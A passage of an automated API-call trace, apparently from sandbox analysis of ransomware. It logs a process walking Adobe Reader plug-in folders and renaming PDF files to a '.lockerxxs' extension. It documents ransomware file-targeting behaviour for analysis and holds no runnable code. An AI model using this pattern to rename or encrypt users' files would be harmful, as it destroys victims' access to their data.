(lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\standard.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\Standard.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\standard.pdf.lockerxxs")) returned 1 [0072.641] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\StandardBusiness.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\standardbusiness.pdf.lockerxxs")) returned 1 [0072.643] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8064c800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8064c800, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0072.653] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\Dynamic.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\dynamic.pdf.lockerxxs")) returned 1 [0072.657] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\faces.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\Faces.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\faces.pdf.lockerxxs")) returned 1 [0072.661] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\pointers.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\Pointers.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\pointers.pdf.lockerxxs")) returned 1 [0072.666] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\SignHere.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\signhere.pdf.lockerxxs")) returned 1 [0072.671] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\standard.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\Standard.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\standard.pdf.lockerxxs")) returned 1 [0072.682] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\StandardBusiness.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\standardbusiness.pdf.lockerxxs")) returned 1 [0072.684] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f804400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0072.696] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\suo\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\Dynamic.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\suo\\dynamic.pdf.lockerxxs")) returned 1 [0072.702] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\suo\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\SignHere.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\suo\\signhere.pdf.lockerxxs")) returned 1 [0072.707] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\suo\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\StandardBusiness.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\suo\\standardbusiness.pdf.lockerxxs")) returned 1 [0072.708] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0072.716] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sve\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\Dynamic.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sve\\dynamic.pdf.lockerxxs")) returned 1 [0072.721] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sve\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\SignHere.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sve\\signhere.pdf.lockerxxs")) returned 1 [0072.727] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sve\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\StandardBusiness.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sve\\standardbusiness.pdf.lockerxxs")) returned 1 [0072.728] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806266a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8064c800, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0072.739] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Dynamic.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\dynamic.pdf.lockerxxs")) returned 1 [0072.744] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\faces.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Faces.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\faces.pdf.lockerxxs")) returned 1 [0072.749] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\pointers.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Pointers.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\pointers.pdf.lockerxxs")) returned 1 [0072.754] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\SignHere.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\signhere.pdf.lockerxxs")) returned 1 [0072.761] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\standard.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Standard.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\standard.pdf.lockerxxs")) returned 1 [0072.767] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\StandardBusiness.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\standardbusiness.pdf.lockerxxs")) returned 1 [0072.768] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80600540, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806266a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0072.779] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\Dynamic.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\dynamic.pdf.lockerxxs")) returned 1 [0072.784] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\faces.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\Faces.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\faces.pdf.lockerxxs")) returned 1 [0072.790] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\pointers.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\Pointers.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\pointers.pdf.lockerxxs")) returned 1 [0072.794] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\SignHere.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\signhere.pdf.lockerxxs")) returned 1 [0072.800] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\standard.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\Standard.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\standard.pdf.lockerxxs")) returned 1 [0072.812] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\StandardBusiness.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\standardbusiness.pdf.lockerxxs")) returned 1 [0072.821] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\Words.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\words.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\Words.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\words.pdf.lockerxxs")) returned 1 [0072.824] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f4c0, dwReserved1=0x4f60a2, cFileName=".", cAlternateFileName="")) returned 0x502658 [0072.827] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d87a080, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f6000, dwReserved1=0x4f5ffb, cFileName=".", cAlternateFileName="")) returned 0x502698 [0072.844] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_CZE\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540050, dwReserved1=0x460020, cFileName=".", cAlternateFileName="")) returned 0x502698 [0072.850] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HRV\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502698 [0072.856] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502698 [0072.862] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_POL\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502698 [0072.869] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUM\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502698 [0072.875] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502698 [0072.915] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SKY\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502698 [0072.920] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502698 [0072.925] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_TUR\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502698 [0072.933] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502698 [0072.937] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, 